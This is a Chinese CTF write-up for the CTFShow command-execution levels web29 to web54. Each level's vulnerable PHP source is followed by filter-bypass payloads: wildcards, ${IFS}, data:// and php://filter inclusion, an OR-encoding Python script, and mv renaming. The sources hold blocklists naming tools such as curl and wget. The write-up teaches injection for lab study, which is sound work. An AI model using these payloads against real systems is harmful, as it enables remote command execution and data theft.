CTFShow-命令执行(29-54)

[CTFSHOW]命令执行 文章目录web 29web 30web 31web32web40参考文章 web 29 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 我这里只想到五种简便的方法: 通配符 payload1:c=syst 阅读详情

前情提示

代码执行函数:

1- eval()

特别注意:php中@是干什么的

2- assert() --(最好不要加上分号作为结尾)

3- call_user_func()

4- create_function()

5- array_map()

6- call_user_func_array()

7- array_filter()

8- uasort()函数

9- preg_replace()

命令执行函数:

1- system()

system("ls");

2-passthru()

passthru("ls");

3- exec()

需要输出执行结果,且它只会输出最后一行的内容。

echo exec("ls");

4- pcntl_exec()

5- shell_exec()

需要输出执行结果,且输出全部的内容。

echo shell_exec("ls");

6- popen()/proc_open()

7- 反引号 ``

echo `ls`;

Web29

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤掉了flag

ls查看以下文件

直接使用 cat fla*即可

web30

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤掉了最常用的命令执行函数system

使用其他命令执行函数进行绕过

payload:

?c=passthru("cat fla*");

Web31

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

本关对cat函数和空格 点 单引号进行了过滤

按照情况来对其一一过滤

payload:

?c=passthru("tac%09fla*");

Web32

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__); 

本关新增过滤了分号,括号

在eval函数中不止用分号结尾,也可以 ?>

eval("echo 1;");
eval("echo 1?>");

但考虑到过滤了括号和反引号,所以这里不能使用任何命令执行函数了

考虑文件包含

?c=include$_GET[2]?>&2=data://text/plain,<?php system("cat flag")?>
?c=include$_GET[2]?>&2=php://filter/read=convert.base64-encode/resource=flag.php

首先使用c参数来设置包含值,包含内容为GET传进来的2参数,然后拼接2参数使用data协议来直接执行命令

或者phpfilter 来包含flag.php。因为2是我们自己定义的新参数所以不在代码的检测内容之中可以放心搞

Web33

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

照比32关多过滤了一个双引号

无伤大雅,与32关同理

?c=include$_GET[2]?>&2=data://text/plain,<?php system("cat flag.php");?>

Web34

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

同理33

?c=include$_GET[2]?>&2=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[2]?>&2=php://filter/read=convert.base64-encode/resource=flag.php

Web35

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

同34

?c=include$_GET[2]?>&2=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[2]?>&2=php://filter/read=convert.base64-encode/resource=flag.php

Web36

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

本关照比之前多了一个数字过滤 / 过滤

只需要将原来payload中包含的get参数换成字母的就好了

?c=include$_GET[p]?>&p=data://text/plain,<?php system("cat flag.php");?>

Web37

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

有改动但不多

要求是包含进flag文件才可以

我们直接伪协议通杀,注意伪协议中不能有flag! 所以需要base64编码

将命令执行部分<?php system("cat flag.php");?>进行编码

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

组合一下就是新payload:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Web38

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

本关本意是过滤掉php开头的伪协议以及以及file读取,但是与我们data协议无关

37关payload拿来就用

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Web39

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

本关照比之前进行改动,主要是强行加入php后缀

但是仍然可以使用data协议

?c=data://text/plain,<?php%20system("tac fla*.php");?>

因为?>为php的结束符号后面拼接的.php会被忽略掉,不用管

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

Web40

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
​
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

无符号RCE

这里注意一点细节,就是过滤的括号是中文的括号!不要被吓到!

步骤:

1、localeconv() 返回一包含本地数字及货币格式信息的数组但是这个需要取第一个数组值,[]被过滤

2、使用这三个函数将localeconv括起来

  • current() 函数返回数组中的当前元素(单元),默认取第一个值,

  • pos() 同 current() ,是current()的别名

  • reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

3、使用scandir打印一下当前目录所有内容

print_r(scandir(.)); 即可打印所有内容 更改一下就是

print_r(scandir(pos(localeconv())));

4、打印出flag 使用next函数,输出数组中的当前元素的下一个元素的值,也就是可以输出第二个

我们默认当前元素肯定是0,所以输出的下一个元素是1的内容,但是根据显示我们发现flag.php在2号位置,所以我们需要对该数组进行一下置换,让3变成0,2变成1颠倒一下

5、使用array_reverse函数进行颠倒

6、使用highlight_file进行高亮显示,显示出源代码内容

所以最终显示flag的payload:

?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

Web41

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
​
*/
​
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

本关需要使用python脚本,可以看到过滤的符号中缺少 | 符号,通过除了以上符号外的任意符号的ascii码进行或操作最终得到需要的值

import re
import requests
​
url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080"
​
a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)
​
# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="ls"      #参数
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"
​
data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

Web42

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

本关主要内容是,将输出的结果丢进linux黑洞中不进行显示

输入?c=ls 是不显示的

可以使用分号进行分割分化来进行绕过?c=ls;ls

如此一来整个命令就变成了 ls;ls >/dev/null 2>&1

第一个ls会正常显示出来,而第二个ls因为分号的问题会被系统认为是第二个命令,所以命令会丢进黑洞中将第一个显示出来

最终payload:

?c=tac flag.php;ls

Web43

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

照比上一关过滤了分号和cat 不过无所谓

; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行

cat过滤了就tac 分号过滤了就双管道符

所以最终payload:

?c=tac flag.php || ls

Web44

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了一个flag,无所谓直接*号就行

最终payload:

?c=tac fla*||ls

Web45

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了一个空格

%09绕过

最终payload为:

?c=tac%09fla*||ls

Web46

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

不能有数字不能有*号不能有$号

一个个来,

1、不能有*就用?区别是?代表一位

*代表多位任意位

2、不能有数字也可以直接%09,09解码后不是数字,所以这个过滤完全就是唬人的

所以最终payload为:?c=tac%09fla?.php||ls

Web47

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多了一堆没用的过滤,上一关payload可以直接干死

最终payload:?c=tac%09fla?.php||ls

Web48

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

无用过滤,直接通杀

payload:?c=tac%09fla?.php||ls

Web49

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

通杀payload:?c=tac%09fla?.php||ls

Web50

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了很多东西,这回肯定是不能用空格了,所以需要使用一个不带空格的读取命令 nl

注意nl不支持通配符,所以需要使用一个linux特性功能就是两个单引号分割字符串中间自动忽略

最终payload:

nl<fla''g.php||ls

Web51

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤了一个tac命令

仍然可以继续使用nl命令进行通杀

nl<fla''g.php||ls

Web52

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了尖括号,那我们也可以绕过

使用${IFS}等等进行绕过

?c=nl${IFS}fla''g.php||ls

但是发现没有flag,我们尝试取根目录查看一手

重新修正payload:

/?c=ca\t${IFS}/fla?||ls

Web53

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}
​

payload:?c=ca\t${IFS}fla?.php

Web54

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

丧心病狂的过滤

绕过方法:

没有过滤mv指令,可以通过mv将flag文件重命名然后url查看

先ls查看当前目录是否存在flag文件

然后mv更改flag.php文件名

最后在url后面拼接修改的文件名

payload:

?c=ls

?c=mv${IFS}fla?.php${IFS}z.txt

?c=ls

https://2ff97d35-4afa-47ac-b824-67f7f93cd213.challenge.ctf.show/z.txt

从BUUCTF Passthru入门命令执行:PHP危险函数与CTF利用链路 命令执行漏洞是Web安全领域的经典高危问题,常源于外部输入直接进入系统命令调用。PHP提供system、exec、shell_exec与passthru等函数执行外部程序,其中passthru以原始二进制输出为特点,在代码审计中更隐蔽。理解这些函数的差异,有助于快速定位危险入口并构建利用链。在CTF赛题中,命令执行类题目常通过可控参数与危险函数结合出现,BUUCTF上的INSHack2019 Passthru正是典型示例。本文以该题为例,拆解从信息收集、参数定位、命令验证到flag读取的完整过程,并总结空格 阅读详情

相关推荐

别再死记硬背payload了!深入理解PHP的eval()和四大命令执行函数(exec/system/passthru/反引号)

本文深入解析PHP的eval()和四大命令执行函数(exec/system/passthru/反引号)的底层原理与安全风险,通过SWPUCTF easyrce等实战案例展示灵活利用技巧。文章对比各函数特性差异,提供CTF解题思路,并给出多层防御策略,帮助开发者深入理解命令执行漏洞的攻防要点。

weixin_33739646的博客 423

ctfshow---命令执行

就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。$((~$(( $((~$(())))+$((~$(())))+$((~$(()))) )))) 这个是2。

fainpo的博客 1970

PHP命令注入实战:从passthru函数到CTF RCE漏洞利用

命令注入是Web安全领域最基础也最危险的漏洞类型之一,其本质是用户输入被拼接到系统命令中,由shell解释执行。PHP提供了多个执行系统命令的函数,如system、exec、shell_exec和passthru,它们各自有不同的回显机制,其中passthru会将原始输出直接返回,非常适合攻击者获取完整执行结果。理解这些函数的底层原理,有助于快速识别RCE漏洞点并构造有效利用链。在CTF竞赛中,命令注入题目常以简单的无过滤形式出现,考察选手对参数注入、Linux文件查找等基本功。通过实战分析一道经典的PHP

weixin_29741447的博客 283

ctfshow-命令执行

方法3 比较经典 这是一个上传文件的模版 向指定url的服务器上传文件 然后服务器会自动将上传的文件放置指定目录 在linux里面临时存放文件的目录可能会被定时删除 这个目录是/tmp,然后一般网页文件会命名为php?因为,${RANDOM}可以出现4或5,可以构造/?echo $((${##}${##}+${##}${##}+${##}${##}+${##}+${##}+${##})) 也是36。

m0_72125469的博客 2659

ctfshow web入门(二) 持续更新

ctfshow web入门(二)前言一、爆破 web23 前言 本来是想把做的题目全部写在一篇里的,但是就在昨天晚上发生了十分悲惨的故事,我写的 最后一题,后面的部分被吃掉了…… 所以今天再写一篇新的,记录新写下的题目,嘿嘿~ 顺便放一下上一篇的链接: https://blog.youkuaiyun.com/qq_45746876/article/details/123045818?spm=1001.2014.3001.5501 一、爆破 web23 这道题就是昨天被吃掉的那道题,先来看题目: 给了一串代码,放到

qq_45746876的博客 4712

ctf.show之命令执行

web29 : 命令执行,需要严格的过滤

weixin_68477635的博客 677

ctfshow 命令执行

dev/null文件可以被看作是一个“黑洞”文件。它等价于一个只写的的文件。所有写入它的内容都会永远丢失(因为不可读)。这里说flag在36.php中,那么我们想办法构造处36即可.这里参考大佬的做法。/dev/null 2>&1主要意思是不进行回显,让命令回显,我们进行命令分隔。如下图第一个元素为点号。

m0_74097148的博客 5219

ctfshow web入门 命令执行payload

ctfshow web

2h4ox1n9 2570

CTFshow web入门之命令执行(web29-web77)

2、然后上传一个new2.php文件并抓包,多试几次,因为不一定生成的临时文件的最后一个字母是大写,文件内容如下。1、先构造一个文件上传的html页面,代码如下(test-fileupdown.html)3、在上传文件的过程中,抓包,之后添加参数c=.%20/?4、所以传入这个参数的意思就是匹配上传command.php所生成的临时文件,并执行。接着直接用cat flag.php查看一下flag.php文件就好了。略(与web41相同)

小白的博客 3436

CTF入门实战:Web命令执行与Pwn栈溢出解析

命令执行漏洞是Web安全中的常见高危漏洞,其原理是应用程序未对用户输入进行有效过滤,导致攻击者能够注入系统命令。通过构造特殊输入,攻击者可利用passthru或system等函数实现远程代码执行(RCE)。在CTF竞赛中,这类题目常考察漏洞探测、过滤绕过和工具链使用能力。以PHP环境为例,典型攻击场景包括拼接系统命令、编码绕过黑名单等防御措施。同时,Pwn方向的栈溢出漏洞利用也是CTF基础考点,涉及返回地址覆盖、ROP链构造等二进制利用技术。本文结合Burp Suite、pwntools等工具,详解Web命

优快云头条 838

从一道CTF题看PHP命令执行的四种姿势与实战绕过

本文深入解析了PHP命令执行的四种常见函数(exec、system、passthru、shell_exec)及其在CTF比赛中的应用,结合SWPUCTF easyrce题目实战案例,详细介绍了命令执行的绕过技巧与防御措施。通过字符串拼接、十六进制编码等方法绕过限制,帮助安全研究人员提升解题思路与实战能力。

weixin_30412167的博客 417

ctf命令执行小结

1.相关函数 eval函数eval函数能够将字符串当作命令去执行 需要被执行的字符串 代码不能包含打开/关闭 PHP tags。比如, ‘echo “Hi!”;’ 不能这样传入: ‘<?php echo "Hi!"; ?>’。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 ‘echo “In PHP mode!”; ?>In HTML mode!<...

舞动的獾 5105

CTF理论赛备考指南:命题逻辑、高频考点与陷阱全解析

在CTF竞赛中,理论赛常被误解为单纯背题,实则考察的是对安全体系的深层认知。从Web安全中命令执行函数的输出差异(如passthru与system的区别),到杂项题目里零宽字节隐写的字节级分析,理论赛将实战中容易被工具替代的知识点逐一提炼为选择题。理解底层原理、区分易混淆概念、建立结构化知识图谱,是拿下高分的关键。这类知识不仅服务于比赛,也能映射出渗透测试中的绕过思路与应急响应中的排查逻辑。基于热门考点如命令执行、编码隐写、沙箱逃逸等,本文系统梳理了CTF理论赛的命题逻辑、高频考点、易错陷阱及三遍刷题法,帮

weixin_28715953的博客 333

RCE命令执行初学者各种题目加CTF题目练习详解

RCE简单说:攻击者能在你的服务器上运行他想运行的任何代码或命令可以在自己的服务器下 一个flag.php 方便练习都可以读文件$IFS$1等等都可以表示空格 需要自己尝试最常用的系统函数是exec()passthru()system()和反引号。

suprisefff的博客 353

人形机器人硬件开发:骨架系统设计全攻略

本文以人形机器人骨架系统为核心研究对象,系统解析其从理论建模到工程实现的全流程设计方法。通过融合刚体力学、材料科学与机器人控制理论,构建"概念基础-理论框架-架构设计-实现机制-实际应用-高级考量-综合拓展"的七层分析体系。重点覆盖运动学/动力学建模、轻量化结构设计、关节模块集成、多物理场耦合优化等关键技术,结合波士顿动力Atlas、本田ASIMO等经典案例,提供从原型设计到量产验证的工程实践指南。

AI天才研究院 1871

Conda报错急救指南:遇到Malformed version string ‘~‘怎么办?(附最新解决方案)

本文深度解析Conda报错`Malformed version string '~'`的根源与解决方案。该错误通常由版本字符串解析异常或Conda版本过旧引起。文章提供了从清理缓存、针对性升级到环境重建的完整修复流程,并强调了升级Conda至最新版本是解决此类`CondaValueError`问题的根本方法,帮助开发者高效恢复工作环境。

weixin_28835789的博客 646

ctfshow web入门 命令执行-web30

打开靶场,发现要用GET方式上传一个参数c,过滤了flag、system、php。虽然过滤了system但还可以用与之相像的passthru()函数。构造payload:url?c=passthru('cat fla*')构造payload:url?c=passthru('ls')查看源代码得到flag。

2301_79697181的博客 495

39文章解读与程序——EI\CSCD\北大核心《基于两阶段鲁棒优化算法的微网多电源容量配置》已提供下载资源

电网论文源程序擅长文章解读,论文与完整源程序,等方面的知识,电网论文源程序关注python,机器学习,计算机视觉,深度学习,神经网络,数据挖掘领域.电网论文源程序擅长文章解读,论文与完整源程序,等方面的知识,电网论文源程序关注python,机器学习,计算机视觉,深度学习,神经网络,数据挖掘领域.《《《《《《《《更多资源还请持续关注本专栏》》》》》》》《《《《《《《《更多资源还请持续关注本专栏》》》》》》》论文与完整源程序_电网论文源程序的博客-优快云博客。电网论文源程序-优快云博客。

LIANG674027206的博客 1208

ctfshow web入门--命令执行

(页面是空白的,导致我刚开始一直以为哪里弄的不对,查看源代码才发现flag)查看当前目录下的文件,可见有flag.php的存在。

2402_87078084的博客 2028

逆变器LCL滤波器参数设计(一)

1.基本介绍 并网型逆变器一般是电流源逆变器,滤波器基本用LCL结构。 假设要设计额定功率10KVA的单相逆变器,采用两电平的全桥拓扑,采用SPWM控制,载波频率20KHz,电网等级220V,频率50Hz。 拓扑结构如图所示: 直流输入电压分为上下母线各1/2Vin,半母线电压为380V。 L1采用高频磁芯绕制,称为高频电感;L2用工频电感绕制,称工频电感;C是滤波电容,为高频谐波电流提供通路;Vg为电网电压。 载波调制比为:Mr=220*1.414/380=0.819 2.高频电感量的计算 逆变器可以等

weixin_43549807的博客 5万+

《RT-DETR魔术师》专栏介绍 & 优快云独家改进创新实战 & 专栏目录

通过本专栏的阅读,后续你也可以自己魔改网络,在网络不同位置(Backbone、head、neck、loss等)进行魔改,实现创新!!!

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 7363

nss刷题(4)

